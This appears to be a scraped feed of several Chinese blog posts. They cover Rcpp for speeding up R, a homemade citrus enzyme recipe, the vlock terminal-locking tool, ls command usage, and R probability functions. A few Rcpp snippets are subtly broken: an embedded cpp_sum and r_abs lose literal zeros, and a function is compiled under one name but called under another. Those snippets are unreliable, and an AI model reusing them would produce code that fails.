return 這一行，以最後一個運算結果作為函數傳回值，但是在 C++ 中則不可省略，一定要使用 return 明確指定函數的傳回值。另外 C++ 中的每一行運算式結尾都一定要加上分號（;），不可省略。\n在 R 中我們可以將這個 C++ 函數透過 cppFunction 編譯並載入使用：\ncppFunction(\u0026#39;int one() { return 1; }\u0026#39;) one() [1] 1 在使用 cppFunction 編譯 C++ 函數時，它會自動在 R 中建立一個相同名稱的 R 函數，以 .Call 呼叫這個編譯好的 C++ 函數，使用者不需要自行建立這個 R 函數。\nC++ 函數在定義時需要明確指定其傳回值的型態，若傳回值為簡單的純量（scalar），可以使用 C++ 內建的資料型別：\nC++ 語法 說明 double 浮點數 int 整數 std::string 字串 bool 布林值 例如一個傳回字串的 C++ 函數就可以這樣寫：\nstd::string my_name() { return \u0026#34;G. T. Wang\u0026#34;; } 使用 cppFunction 編譯並載入使用：\ncppFunction(\u0026#39;std::string my_name() { return \u0026#34;G. T. Wang\u0026#34;; }\u0026#39;) my_name() [1] \"G. T. Wang\" 純量輸入、純量輸出 下面這個 R 函數是一個以勾股定理計算直角三角形斜邊長度的函數，輸入三角形的勾長與股長，傳回弦長（斜邊的長度）：\nhypotenuse \u0026lt;- function(a, b) { sqrt(a * a + b * b) } 若以 C++ 改寫，則為：\ndouble hypotenuse(double a, double b) { return sqrt(a * a + b * b); } C++ 函數的輸入參數與傳回值一樣都需要明確指定變數的類型，由於在計算斜邊長度時，會需要浮點運算，所以這裡我們將輸入與輸出的變數都宣告為浮點數（double），而輸入參數可使用的變數類型跟傳回值可使用的變數類型相同（double、int 等）。\n這裡我們用到一個 C++ 的平方根函數 sqrt，其使用方式跟 R 中的 sqrt 相同，可計算傳入數值的平方根。\n使用 cppFunction 編譯並載入使用：\ncppFunction(\u0026#39;double hypotenuse(double a, double b) { return sqrt(a * a + b * b); }\u0026#39;) hypotenuse(3, 4) [1] 5 向量輸入、純量輸出 C++ 語言的一個很大的優勢就是它的迴圈計算速度比 R 快很多，一個典型的用法是將 R 中的向量傳入 C++ 中進行運算，最後再傳回運算的結果。下面這個例子是一個計算總和的 R 函數：\nr_sum \u0026lt;- function(x) { total \u0026lt;- 0 for (i in seq_along(x)) { total \u0026lt;- total + x[i] } total } 若要將這個 R 函數以 C++ 改寫，則會變成：\ndouble cpp_sum(NumericVector x) { int n = x.size(); double total = 0; for(int i = 0; i \u0026lt; n; ++i) { total += x[i]; } return total; } 由於這裡傳入的參數 x 會是一個 R 的向量，在 C++ 中純量與向量是不同的資料型別，Rcpp 針對 R 的幾種向量特別定義了一些 C++ 的類別供使用者使用，這裡我們將 x 的型別宣告為浮點數向量 NumericVector，並且使用 NumericVector 的 size 方法函數取得向量的長度，接著宣告一個用來儲存總和值的 total 變數（由於我們要計算浮點數向量的總和，因此將 total 變數宣告為浮點數 double），然後進行後續的 for 迴圈運算，最後將計算完成的總和值傳回。\n以下是各種 R 向量所對應的 C++ 類別：\nC++ 類別 說明 NumericVector 浮點數向量 IntegerVector 整數向量 CharacterVector 字元向量 LogicalVector 邏輯向量 使用 cppFunction 編譯並載入使用：\ncppFunction(\u0026#39;double cpp_sum(NumericVector x) { int n = x.size(); double total = 0; for(int i = 0; i \u0026lt; n; ++i) { total += x[i]; } return total; }\u0026#39;) 我們可以使用 R 的 microbenchmark 套件來測試 R 與 C++ 之間的迴圈運算效能差異：\nlibrary(microbenchmark) x \u0026lt;- runif(1e3) x.benchmark \u0026lt;- microbenchmark( sum(x), cpp_sum(x), r_sum(x) ) x.benchmark Unit: microseconds expr min lq mean median uq max neval sum(x) 1.131 1.3255 1.61292 1.5745 1.7285 3.708 100 cpp_sum(x) 2.832 3.2555 4.20410 3.9425 4.7900 14.222 100 r_sum(x) 344.723 389.2560 444.48158 414.5810 442.0710 1255.476 100 這裡我們測試了一般的 R 函數（r_sum）、C++ 函數（cpp_sum）以及 R 內建的向量化函數（sum），內建的向量化函數執行效率是最好的，而我們自己定義的 C++ 函數稍微遜色一些，而普通 R 函數的執行速度則是比我們定義的 C++ 函數慢了百倍以上。\n畫出測試結果的小提琴圖（violin plot）：\nlibrary(ggplot2) autoplot(x.benchmark) 向量輸入、向量輸出 輸入與輸出都是向量的函數也很常見，這裡我們以一個氣泡排序演算法的排序函數做示範，以下是一個 R 版本的排序函數：\nr_sort \u0026lt;- function(x) { x.length = length(x) for (i in seq(1, x.length-1)) { for (j in seq(1, x.length-i)) { if (x[j] \u0026gt; x[j+1]) { tmp = x[j] x[j] = x[j+1] x[j+1] = tmp } } } x } 同樣的演算法以 C++ 改寫則變成：\nNumericVector cpp_sort(NumericVector x) { int x_length = x.size(); for(int i = 0; i \u0026lt; x_length-1; ++i) { for(int j = 0; j \u0026lt; x_length-1-i; ++j) { if (x[j] \u0026gt; x[j+1]) { double tmp = x[j]; x[j] = x[j+1]; x[j+1] = tmp; } } } return x; } 使用 cppFunction 編譯並載入使用：\ncppFunction(\u0026#39;NumericVector cpp_sort(NumericVector x) { int x_length = x.size(); for(int i = 0; i \u0026lt; x_length-1; ++i) { for(int j = 0; j \u0026lt; x_length-1-i; ++j) { if (x[j] \u0026gt; x[j+1]) { double tmp = x[j]; x[j] = x[j+1]; x[j+1] = tmp; } } } return x; }\u0026#39;) 在實作這種比較複雜一點的演算法時，通常在程式寫完之後，最好先做一下驗證，確保程式沒有寫錯。這裡我們將自己寫的兩個排序函數跟 R 內建的 sort 函數比較，看看結果是否完全相同：\nx \u0026lt;- runif(100) x.sort \u0026lt;- sort(x) x.r_sort \u0026lt;- r_sort(x) x.cpp_sort \u0026lt;- cpp_sort(x) sum((x.sort - x.r_sort)^2) [1] 0 sum((x.sort - x.cpp_sort)^2) [1] 0 確認程式無誤後，使用 microbenchmark 測試執行效能：\nlibrary(microbenchmark) x \u0026lt;- runif(100) x.benchmark \u0026lt;- microbenchmark( sort(x), cpp_sort(x), r_sort(x) ) x.benchmark Unit: microseconds expr min lq mean median uq max neval sort(x) 11.933 13.1045 21.55053 19.1545 31.8010 44.421 100 cpp_sort(x) 6.723 7.3220 9.91120 9.7080 12.6855 20.863 100 r_sort(x) 3626.665 3713.8905 3972.78264 3816.2110 3920.3770 5933.124 100 畫出測試結果的小提琴圖（violin plot）：\nlibrary(ggplot2) autoplot(x.benchmark) 在這個例子中，自己使用 Rcpp 寫的 C++ 排序函數，其執行效能還比內建的 sort 函數還要好，而一般的 R 排序函數執行速度一樣是最慢的。若將 x 向量的長度增加一些，結果又會有些不同：\nlibrary(microbenchmark) x \u0026lt;- runif(1000) x.benchmark \u0026lt;- microbenchmark( sort(x), cpp_sort(x), r_sort(x) ) x.benchmark Unit: microseconds expr min lq mean median uq max neval sort(x) 16.569 18.0955 31.3704 40.2485 43.1295 54.350 100 cpp_sort(x) 380.192 381.5215 391.0866 388.8055 390.3740 648.092 100 r_sort(x) 302941.105 304085.3015 314353.2839 304802.2955 306465.2875 751781.425 100 library(ggplot2) autoplot(x.benchmark) 對於長度比較長的 x 向量，內建的 sort 排序函數就會比較快一些，而一般的 R 排序函數執行速度還是一如往常的慢。\n氣泡排序是比較簡單的演算法，執行所需時間為 O((n^2))，而內建的 sort 函數所使用的排序演算法絕對比 O((n^2)) 還要好，所以在向量長度較長時，差異會比較明顯。\n矩陣輸入、向量輸出 Rcpp 同時也對 R 的幾種矩陣定義了一些 C++ 的類別：\nC++ 類別 說明 NumericMatrix 浮點數矩陣 IntegerMatrix 整數矩陣 CharacterMatrix 字元矩陣 LogicalMatrix 邏輯矩陣 其使用方式跟向量類似，以下是將 R 的 rowSums 改寫成 C++ 的程式碼：\nNumericVector cpp_rowSums(NumericMatrix x) { int nrow = x.nrow(), ncol = x.ncol(); NumericVector result(nrow); for (int i = 0; i \u0026lt; nrow; i++) { double total = 0; for (int j = 0; j \u0026lt; ncol; j++) { total += x(i, j); } result[i] = total; } return result; } NumericMatrix 的 nrow 與 ncol 方法可以用來取得該矩陣的列（row）數與行（column）數，而在提取矩陣內部的元素時，是使用小括號 () 運算子。\n使用 cppFunction 編譯並載入使用：\ncppFunction(\u0026#39;NumericVector rowSumsC(NumericMatrix x) { int nrow = x.nrow(), ncol = x.ncol(); NumericVector result(nrow); for (int i = 0; i \u0026lt; nrow; i++) { double total = 0; for (int j = 0; j \u0026lt; ncol; j++) { total += x(i, j); } result[i] = total; } return result; }\u0026#39;) 與 R 內建的 rowSums 函數做比較：\nset.seed(1) x \u0026lt;- matrix(sample(100), 10) rowSums(x) [1] 524 494 436 529 423 505 553 451 577 558 cpp_rowSums(x) [1] 524 494 436 529 423 505 553 451 577 558 sourceCpp 函數 前面我們介紹過以 cppFunction 函數將 C++ 程式碼內崁在 R 程式碼中，這樣的方式對於簡短的小程式而言非常方便，但是如果需要開發比較複雜的 C++ 程式時，把大量的 C++ 程式碼貼在 cppFunction 函數中，會讓程式碼難以閱讀，在開發上也會很不方便。\n遇到比較複雜的程式架構時，我們可以將 C++ 程式碼獨立出來，另外儲存成一個 .cpp 檔案，然後使用 sourceCpp 函數來編譯並載入 .cpp 檔案中的 C++ 程式碼，這樣的作用跟 cppFunction 函數相同，但是可以讓大型的程式更好管理。\n當我們將 C++ 的程式碼獨立出來時，必須引入 Rcpp.h 並且設定 Rcpp 這個 namespace，也就是在檔案的開頭加上這兩行：\n#include \u0026lt;Rcpp.h\u0026gt; using namespace Rcpp; 對於那些需要在 R 中被呼叫的 C++ 函數之前，加上這一行註解：\n// [[Rcpp::export]] 請注意這一行註解中包含的空白不可以省略。\n我們將前面計算總和的 C++ 範例程式改成獨立的一個 cpp_sum.cpp 檔，內容如下：\n#include \u0026lt;Rcpp.h\u0026gt; using namespace Rcpp; // [[Rcpp::export]] double cpp_sum(NumericVector x) { int n = x.size(); double total = 0; for(int i = 0; i \u0026lt; n; ++i) { total += x[i]; } return total; } 接著以 sourceCpp 編譯並載入使用：\nsourceCpp(\u0026#34;cpp_sum.cpp\u0026#34;) cpp_sum(1:10) [1] 55 我們也可以將 R 的程式碼內崁在 C++ 的註解之中，其語法為：\n/*** R # 這是 R 的程式碼 */ 放在這裡的 R 程式碼會以 source(echo = TRUE) 的方式來執行，所以我們不需要特別以 print 等函數來輸出，這個功能對於開發階段的測試與除錯會有一些幫助。以下是計算總和的範例：\n#include \u0026lt;Rcpp.h\u0026gt; using namespace Rcpp; // [[Rcpp::export]] double cpp_sum(NumericVector x) { int n = x.size(); double total = ; for(int i = ; i \u0026lt; n; ++i) { total += x[i]; } return total; } /*** R library(microbenchmark) x \u0026lt;- runif(1e3) microbenchmark( sum(x), cpp_sum(x) ) */ 將這段 C++ 程式碼儲存在 cpp_sum_embedded_r.cpp 檔案中，然後同樣以 sourceCpp 編譯並載入：\nsourceCpp(\u0026#34;cpp_sum_embedded_r.cpp\u0026#34;) \u003e library(microbenchmark) \u003e x \u003c- runif(1e3) \u003e microbenchmark( + sum(x), + cpp_sum(x) + ) Unit: microseconds expr min lq mean median uq max neval sum(x) 1.136 1.161 1.53268 1.2245 1.2485 29.916 100 cpp_sum(x) 2.689 2.738 3.12136 2.7840 2.8880 23.875 100 當 C++ 的函數被載入之後，內崁的 R 程式碼也會一併被執行。\n範例程式碼 這裡對於一些常見的程式結構提供了 R 與 C++ 的對照範例程式碼，對於 C++ 不熟新的使用者可以參考使用。\nif 判斷式 這是使用 if 判斷式計算絕對值的 R 函數：\nr_abs \u0026lt;- function(x) { if (x \u0026gt; ) { x } else { -x } } C++ 版本則為：\ndouble cpp_abs(double x) { if (x \u0026gt; 0) { return x; } else { return -x; } } switch 判斷式 這是一段 R 語言的 switch 判斷式範例程式碼：\nr_int2str \u0026lt;- function(x) { switch(as.character(x), \u0026#34;1\u0026#34; = \u0026#34;one\u0026#34;, \u0026#34;2\u0026#34; = \u0026#34;two\u0026#34;, \u0026#34;oops\u0026#34; ) } C++ 版本則為：\nstd::string cpp_int2str(int x) { switch(x) { case 1: return \u0026#34;one\u0026#34;; case 2: return \u0026#34;two\u0026#34;; default: return \u0026#34;oops\u0026#34;; } } for 迴圈 這是使用 for 迴圈計算平均值的 R 函數：\nr_mean \u0026lt;- function(x) { n = length(x) total = 0 for(i in 1:n) { total \u0026lt;- total + x[i] } total / n } C++ 版本則為：\ndouble cpp_mean(NumericVector x) { int n = x.size(); double total = 0; for(int i = 0; i \u0026lt; n; ++i) { total += x[i]; } return total / n; } while 迴圈 這是使用 while 迴圈計算階乘的 R 函數：\nr_factorial \u0026lt;- function(x) { result = x while (x \u0026gt; 2) { x \u0026lt;- x - 1 result \u0026lt;- result * x } result } C++ 版本則為：\nint cpp_factorial(int x) { int result = x; while (x \u0026gt; 2) { x -= 1; result *= x; } return result; } next 與 break 這是使用 next 與 break 列出奇數的 R 函數：\nr_odd \u0026lt;- function(x) { i \u0026lt;- 0 result = integer() while ( TRUE ) { i \u0026lt;- i + 1 if (i \u0026gt; x) break if (i %% 2 == 0) next result = c(result, i) } result } C++ 版本則為：\nIntegerVector cpp_odd(int x) { int i = 0; IntegerVector result; while ( true ) { i += 1; if (i \u0026gt; x) break; if (i % 2 == 0) continue; result.push_back(i); } return result; } IntegerVector 的 push_back 跟 std::vector 的 push_back 用法相同，可將新元素從後方加入向量中。\n\u0026#x1f6a7; 文件撰寫中\u0026hellip;\n物件屬性 列表（List）與 data frames 函數 其他類型物件 缺失值 純量 字串 布林值 向量 Rcpp sugar 參考資料 Advanced R https://cran.rstudio.com/web/packages/Rcpp/vignettes/Rcpp-introduction.pdf https://support.rstudio.com/hc/en-us/articles/200486088-Using-Rcpp-with-RStudio https://cran.rstudio.com/web/packages/Rcpp/vignettes/Rcpp-quickref.pdf https://cran.rstudio.com/web/packages/Rcpp/vignettes/Rcpp-attributes.pdf http://gallery.rcpp.org/ http://web.ydu.edu.tw/~alan9956/R/Rcpp-Rtools-tutorial.pdf\n","permalink":"https://blog.gtwang.org/r/rcpp-package-tutorial/","summary":"\u003cp\u003eRcpp 是一個可以讓 R 透過 C++ 語言提升執行效能的套件，其使用方式簡單、上手容易，且對於耗時的運算相當有幫助，是一個很實用的套件。\u003c/p\u003e\n\u003cp\u003e由於 R 屬於高階語言，相較於 C/C++ 這類的低階語言，R 程式的執行速度比較慢，對於較為耗時的運算（例如蒙地卡羅類型的模擬）來說，若只使用單純的 R 語言來處理，時常會遇到計算時間過長的問題。\u003c/p\u003e","title":"Rcpp 套件：結合 R 與 C++ 加速程式執行"},{"content":"最近朋友拿了一些東山椪柑疏果採下來的小椪柑，這些尚未成熟的椪柑雖然不能吃，但很適合拿來製作環保酵素。\n環保酵素可以使用各種水果來製作，每一種水果所製作出來的酵素都會有些差異，像檸檬環保酵素就會有檸檬的香味，而柚子環保酵素也不錯。\n這是這次朋友給我的未成熟小椪柑，它的大小大約只有像葡萄那麼大，剛拿到的時候顏色還非常綠，過兩天就有一半變黃了。\n這些疏果過程所採下來的小椪柑完全不能吃，而直接拿去堆肥又有點可惜，拿來製作環保酵素剛剛好。\n我這次拿到的一袋小椪柑總共有 3 公斤，若要製作酵素的話，還要準備 1 公斤的紅糖與 10 公升的水（使用一般加水站一公升一塊錢的純水即可）。\n台糖的高級紅糖一包是 500 公克，兩包剛好是 1 公斤，準備好材料了之後，就可以開始動手製作了，以下是小椪柑環保酵素的製作過程。\nStep 1\n將小椪柑清洗乾淨之後，倒入少許環保酵素，浸泡半小時以上，清除果皮上的農藥。\nStep 2\n浸泡完酵素之後，把水瀝乾。\nStep 3\n將每一顆小椪柑切開，讓果肉露出來，幫助發酵。\n小椪柑切開之後，感覺很漂亮。\n雖然橫切可以讓椪柑的每一片果肉都露出來，但因為小椪柑很硬、還會滑，不適合第一刀橫切，建議可以將小椪柑對剖之後再橫切，變成四分之一顆，這樣可以讓椪柑更容易發酵。\n雖然把椪柑切成小片一點會比較好發酵，但是如果切得太小片，發酵完之後在過濾果渣時就會比較不好處理，要切多大塊請自行斟酌。\nStep 4\n將切塊的小椪柑放入塑膠桶。\nStep 5\n加入紅糖。\nStep 6\n加入純水。\nStep 7\n最後蓋上蓋子，等待三個月之後，就可以使用了。\n在發酵期間的前一個月，記得每天打開瓶蓋釋放發酵氣體，並重新攪拌均勻，讓浮在表面的白色酵母與椪柑果肉可以均勻混入糖水中，這樣才能夠讓發酵更完全。\n在椪柑發酵過程中，請隨時注意容器內發酵氣體的釋放，請微鎖瓶蓋就好，切勿緊鎖，預留發酵氣體排出空隙，避免爆瓶危險。\n關於酵素製作的詳細說明，可以參考檸檬環保酵素的教學。\n","permalink":"https://blog.gtwang.org/diy/citrus-tankan-garbage-enzyme-tutorial/","summary":"\u003cp\u003e最近朋友拿了一些東山椪柑疏果採下來的小椪柑，這些尚未成熟的椪柑雖然不能吃，但很適合拿來製作環保酵素。\u003c/p\u003e\n\u003cp\u003e環保酵素可以使用各種水果來製作，每一種水果所製作出來的酵素都會有些差異，像\u003ca href=\"/diy/diy-lemon-garbage-enzyme-tutorial/\"\u003e檸檬環保酵素\u003c/a\u003e就會有檸檬的香味，而\u003ca href=\"/diy/making-pomelo-garbage-enzyme-after-typhoon/\"\u003e柚子環保酵素\u003c/a\u003e也不錯。\u003c/p\u003e","title":"[DIY] 自製東山椪柑環保酵素"},{"content":"這裡介紹 vlock 這個 Linux 終端機螢幕鎖定工具，它可以鎖定文字介面的終端機畫面，防止電腦被他人使用。\n終端機（terminal，或稱 console）是 Linux 最基本的操作介面，對於沒有安裝 X Window 的 Linux 伺服器，在本機操作時都會使用終端機來登入操作。\n在一般的桌面環境，如果工作到一半要離開座位時，可以使用螢幕保護程式來鎖定畫面，但是如果是在文字介面的終端機上工作時，就沒有辦法使用螢幕保護程式，這時候就可以改用 vlock 這個小工具來把畫面上鎖。\nvlock 簡介 vlock 是一個可以將 Linux 的終端機上鎖的小工具，在多人同時使用的 Linux 系統上，vlock 可以允許使用者將屬於自己的 sessions 上鎖，而讓其他人的 sessions 維持正常工作的狀態，在必要的時候他也可以將整台 Linux 的所有終端機一起上鎖，防止任何人操作。\n安裝 vlcok 若在 RHEL、CentOS 或 Fedora 等 Red Hat 系列的 Linux 中，可以使用 yum 安裝：\nsudo yum install vlock 若是在 Ubuntu 或 Mint 等 Debian 系列的 Linux 中，則使用 apt 安裝：\nsudo apt-get install vlock 使用 vlock 在終端機中直接執行 vlock 即可將目前的終端機畫面鎖定：\nvlock vlock 預設會鎖定目前所使用的終端機畫面（等同於 --current 或 -c 參數）。執行之後，畫面上就會顯示「This TTY is now locked」的訊息。\n若要解開畫面，則先按一下 Enter 鍵，接著再輸入自己的密碼後，即可回到 shell 環境中。\n若要鎖定所有的終端機，則可加入 --all 或 -a 參數：\nvlock --all 在鎖定所有終端機的同時，也無法切換終端機的畫面。\n--disable-sysrq 或 -s 參數可以將鍵盤的 SysRq 鍵停用，這個功能必須與 --all 或 -a 參數一起使用：\nvlock -sa 若是時常使用 vlock 的話，可以將自己的設定寫在 ~/.vlockrc 中，其設定方式請參考 vlock 的線上手冊（man page）。\n除了 vlock 之外，physlock 也是一個可以鎖定終端機螢幕的小工具。\n參考資料 Tecmint 阿舍 ","permalink":"https://blog.gtwang.org/linux/vlock-lock-user-virtual-console-terminal-linux/","summary":"\u003cp\u003e這裡介紹 vlock 這個 Linux 終端機螢幕鎖定工具，它可以鎖定文字介面的終端機畫面，防止電腦被他人使用。\u003c/p\u003e\n\u003cp\u003e終端機（terminal，或稱 console）是 Linux 最基本的操作介面，對於沒有安裝 X Window 的 Linux 伺服器，在本機操作時都會使用終端機來登入操作。\u003c/p\u003e","title":"vlock：Linux 終端機螢幕鎖定工具"},{"content":"這裡敘述了 Linux 系統中 ls 指令的各種用法，並蒐集了各式各樣的常用範例。\nls 是 Linux 系統上最常被使用的指令之一，通常我們開啟終端機之後，第一個會執行的指令就是 ls。我們可能幾乎天天都在使用它，但是有些參數可能還是不熟悉如何使用，以下我們介紹各種 ls 指令的用法，並且提供一些常用範例作為參考。\nls 指令基本用法 不加任何參數 直接執行 ls 帶任何參數的話，會列出目前目錄中的檔案與目錄列表。\nls 檔案詳細資訊 -l 參數可以顯示檔案與目錄的詳細資訊。\nls -l 顯示隱藏檔案 -a 參數可以顯示隱藏的檔案與目錄。\nls -a 使用易讀的格式輸出 -h 參數可以讓輸出的資訊以比較容易閱讀的格式呈現。\nls -lh 顯示檔案類型 -F 參數可以讓檔案名稱的後面加上檔案類型的標示字元。\nls -F -F 依照檔案類型來標示的字元有以下幾種：\n@：連結檔（symbolic link）。 *：可執行檔（executable）。 =：socket 檔。 |：pipe 檔。 \u0026gt;：door 檔。 /：目錄。 反向排序檔案 -r 參數可以讓檔案的列表以反向的排序列出。\nls -r 遞迴列出所有子目錄的檔案 -R 參數可以靠遞迴的方式列出所有子目錄的檔案。\nls -R 依照時間排序檔案 若要讓檔案依照時間排序，讓最新的檔案排在最後，可以使用 -ltr：\nls -ltr 這樣的方式可以很快速的看出目錄中最新的檔案是那一些：\n依照檔案大小排序 -S 可以讓檔案依照檔案的大小來排序：\nls -lS 若要方便快速找出最大的幾個檔案，可以將檔案列表以反向排序：\nls -lSr 列出 Inode 每個檔案都有一個 inode 屬性，若要列出每個檔案的 inode，可以使用 -i 參數：\nls -i 版本資訊 --version 參數可以輸出 ls 版本資訊。\nls --version 列出目錄 -d 參數可以讓 ls 只列出目錄：\nls -ld 顯示 UID 與 GID -n 參數可以讓 ls 顯示使用者的 UID 與群組的 GID 值：\nls -n ls 指令進階用法 自訂時間輸出格式 ls 可以允許使用者自訂輸出的時間格式，而指定時間格式的方式有兩種，一種是使用 --time-style 參數：\nls -l --time-style=full-iso --time-style 參數所支援的選項有：\n選項 說明 full-iso 例如 2015-07-20 04:36:03.000000000 +0800。 long-iso 例如 2015-07-20 04:36。 iso 例如 04-15 14:23 或 2015-07-20。 locale 例如 7月 20。 另外也可以使用 +FORMAT 這種樣板來指定時間格式，其使用方式與 date 指令所使用的樣板相同，以下是一些使用範例。\n樣板 輸出範例 +%Y/%m/%d 2016/06/12 +\u0026quot;%Y-%m-%d %H:%M\u0026quot; 2016-06-12 05:59 +%r 上午 11時16分28秒 關於樣板的使用，請參考 date 指令線上手冊（man page）。\n自訂檔案輸出格式 ls 允許使用者更改預設檔案輸出的排版方式，例如改用逗點分隔的方式輸出：\nls --format=commas 以下是 --format 支援的選項：\nverbose 或 long，等同於 -l。 commas，等同於 -m。 horizontal 或 across，等同於 -x。 vertical，等同於 -C。 single-column，等同於 -1。 自訂排序方式 --sort 可以用來指定檔案的排序方式，例如根據檔案的副檔名排序：\nls --sort=extension 以下是 --format 支援的選項：\nnone：不排序，等同於 -U。 size：根據檔案大小排序，等同於 -S。 time：根據檔案時間排序，等同於 -t。 version：根據檔名中的版本號碼排序，等同於 -v。 extension：根據檔案的副檔名排序，等同於 -X。 指定輸出版面寬度 --width 參數可以指定輸出的版面寬度，例如將輸出版面指定為 60 個字元寬：\nls --width=60 隱藏備份檔 Linux 上許多的文字編輯器都有自動備份的功能，在使用者更改檔案內容之後，編輯器會自動將舊的檔案內容另存一個備份檔，而備份檔的檔名即為原檔名外加一個 ~ 符號。若不想在執行 ls 時看到一大堆備份檔，可以加上 -B 參數：\nls -B 加入 -B 參數之後，所有 ~ 結尾的檔案都不會被顯示出來，可讓畫面更簡潔。\n顏色輸出 --color 參數可以調整檔案輸出時是否要加上顏色，若不想加入顏色，可以執行：\nls --color=never 可用的選項有：\nalways：加入顏色。 never：不加入顏色。 auto：自動判定是否加入顏色。 在預設的情況下 ls 都會自動加入顏色（always），若設為 auto 的話，ls 只有在終端機輸出時才會加入顏色。\n參考資料 Tecmint Tecmint Tecmint ","permalink":"https://blog.gtwang.org/linux/linux-ls-command-tutorial/","summary":"\u003cp\u003e這裡敘述了 Linux 系統中 \u003ccode\u003els\u003c/code\u003e 指令的各種用法，並蒐集了各式各樣的常用範例。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003els\u003c/code\u003e 是 Linux 系統上最常被使用的指令之一，通常我們開啟終端機之後，第一個會執行的指令就是 \u003ccode\u003els\u003c/code\u003e。我們可能幾乎天天都在使用它，但是有些參數可能還是不熟悉如何使用，以下我們介紹各種 \u003ccode\u003els\u003c/code\u003e 指令的用法，並且提供一些常用範例作為參考。\u003c/p\u003e","title":"Linux 的 ls 指令教學與常用範例整理"},{"content":"這裡介紹如何在 R 中的使用各種機率分佈以及基本模型配適方法。\n資料的基本統計量以及各種圖形對於資料的了解有很大的幫助，但這兩種方式在資料比較複雜的狀況下會有些問題，例如當變數的數量很多時，基本的統計量無法呈現資料的詳細分布狀況，而太多的圖形則會使人難以理解，另外也無法對於未來的資料做預測。\n如果我們對於資料的結構與特性有足夠的了解，就可以使用適當的統計模型來配適資料，並且使用配適出來的模型進行資料的預測，而在進行模型配適之前，我們必須先對基本的隨機變數與機率分佈有所認識。\n隨機變數 隨機變數對於許多的應用來說都是很重要的，R 中也內建非常多的隨機變數產生函數，可以生成各種分佈的隨機變數。\nsample 函數 sample 是一個用來產生隨機變數的函數，但是它的使用方式比較特殊。如果只指定單一個整數的參數 n，它會傳回從 1 到 n 的隨機排列組合：\nsample(6) [1] 3 4 2 5 1 6 如果指定兩個整數參數 n 與 m，則會產生 m 個介於 1 到 n 的隨機整數：\nsample(6, 3) [1] 3 4 2 在預設的狀況下，sample 會以取後不放回的方式產生隨機變數，所以每一個產生的數字都會不同，若要以後放回的方式產生隨機變數，可以加上 replace = TRUE 參數：\nsample(6, 8, replace = TRUE) [1] 2 6 1 2 2 5 2 1 sample 最常被使用的功能就是隨機抽樣，它可以從既有的向量中隨機取出樣本：\nx \u0026lt;- c(1.2, 4.5, 6.3, 9.1, 4.6, 8.4, 5.9, 1.8) sample(x, 5) [1] 4.6 4.5 1.8 6.3 5.9 除了數值資料外，其他各種的向量也都可以使用 sample 來做隨機抽樣。我們以內建的 letters 做示範，這個內建的向量中包含 26 個英文字母，若要從中隨機取出 5 個英文字母，可以使用 sample 函數來處理：\nsample(letters, 5) [1] \"r\" \"i\" \"x\" \"o\" \"p\" sample 在隨機取樣時，也可以使用 prob 參數指定每個元素的權重：\nweights \u0026lt;- c(1, 1, 2, 3, 5, 8, 13, 21, 8, 3, 1, 1) sample(month.abb, 3, prob = weights) [1] \"Aug\" \"May\" \"Jul\" 機率分佈 R 可以產生數十種分佈的隨機變數，一般常見的隨機分佈 R 都有支援，我們可以查詢 distribution 的線上說明文件：\n?distribution 另外在 R 的官方網站上也有很詳盡的說明。\n大部分 R 的隨機變數產生函數都會以 r 字母開頭（r 代表隨機變數產生器 ，random number generator），然後加上分佈的名稱來作為函數的名稱，例如 runif 就是產生均勻分佈（uniform distribution）隨機變數的函數，而 rnorm 函數則會產生常態分佈（normal distribution）的隨機變數。通常這類產生隨機變數的函數，其第一個參數是指定要產生的隨機變數數量，而後續的參數則是各分佈的參數，例如產生五個介於 0 與 1 的均勻分佈隨機變數：\nrunif(5) [1] 0.9228195 0.8629326 0.2507834 0.7132745 0.7286481 產生五個介於 2 與 10 的均勻分佈隨機變數：\nrunif(5, 2, 10) [1] 4.601491 8.254266 8.853793 3.272245 5.628698 產生五個標準常態分佈的隨機變數：\nrnorm(5) [1] 0.9256513 -1.7038184 1.1460961 -1.2906661 -0.1514443 產生五個平均值為 3，標準差為 8 的常態分佈隨機變數：\nrnorm(5, 3, 8) [1] -2.459081 -5.538817 -6.284891 4.256028 6.398596 偽隨機變數產生器 R 的隨機變數生成跟一般的軟體一樣都是使用偽隨機（pseudorandom）的方式，R 支援好幾種隨機變數產生方法（包含平行化的隨機變數產生），詳細說明可以參考 RNG的線上說明：\n?RNG 若需要其他不同的隨機變數產生演算法，可以參考 R 的官方網站。\n若要查詢目前所使用的隨機變數產生方法，可以使用 RNGkind 函數查詢：\nRNGkind() [1] \"Mersenne-Twister\" \"Inversion\" 隨機變數產生器在產生隨機變數時，都會需要指定一個亂數種子（random seed），使用同樣的亂數種子就可以產生一樣的隨機亂數，在 R 中我們可以使用 set.seed 函數來指定亂數種子：\nset.seed(1) runif(5) [1] 0.2655087 0.3721239 0.5728534 0.9082078 0.2016819 set.seed(1) runif(5) [1] 0.2655087 0.3721239 0.5728534 0.9082078 0.2016819 set.seed 所接受的參數是一個正整數，至於該正整數的數值是多少並不重要，重點只在於使用同樣的亂數種子就可以產生相同的亂數，確保程式每次執行的結果都會相同，這個技巧在程式的開發與驗證上相當重要。\n機率分佈 除了隨機變數的生成之外，對於大部分的機率分佈 R 同時也提供一系列的機率相關函數，例如機率密度函數（probability density function，簡稱 PDF）、累積密度函數（cumulative density function，簡稱 CDF）以及 CDF 的反函數，這些函數的命名規則跟產生隨機變數的函數類似：\nr 開頭：產生隨機變數，例如 rnorm。 d 開頭：機率密度函數，例如 dnorm。 p 開頭：累積密度函數，例如 pnorm。 q 開頭：CDF 的反函數，例如 qnorm。 公式 R 的公式（formula）是一種特殊的語法，用來表示由變數所構成的模型，至於實際上所代表的意義則會跟使用模型的函數有關。\n我們以 iris 這個 R 內建的資料集做示範，假設我們有一個迴歸模型如下：\n\\[ \\begin{aligned} \\mbox{Sepal.Length} = \u0026 \\beta_0 + \\beta_1 \\mbox{Sepal.Width}+ \\\\ \u0026 \\beta_2 \\mbox{Petal.Width} + \\beta_3 \\mbox{Petal.Length}+\\epsilon \\end{aligned} \\]若使用 R 的公式表示則為：\nSepal.Length ~ Sepal.Width + Petal.Width + Petal.Length 公式的左側是擺放反應變數（response variable）而右側則是放解釋變數（explanatory variables），中間以一個 ~ 符號區隔，而右側若有多個解釋變數，則使用加號 + 分隔，這樣就是一個最簡單的線性模型。\n若要指定沒有截距項的模型： \\[ \\begin{aligned} \\mbox{Sepal.Length} = \u0026 \\beta_1 \\mbox{Sepal.Width} + \\\\ \u0026 \\beta_2 \\mbox{Petal.Width} + \\beta_3 \\mbox{Petal.Length} + \\epsilon 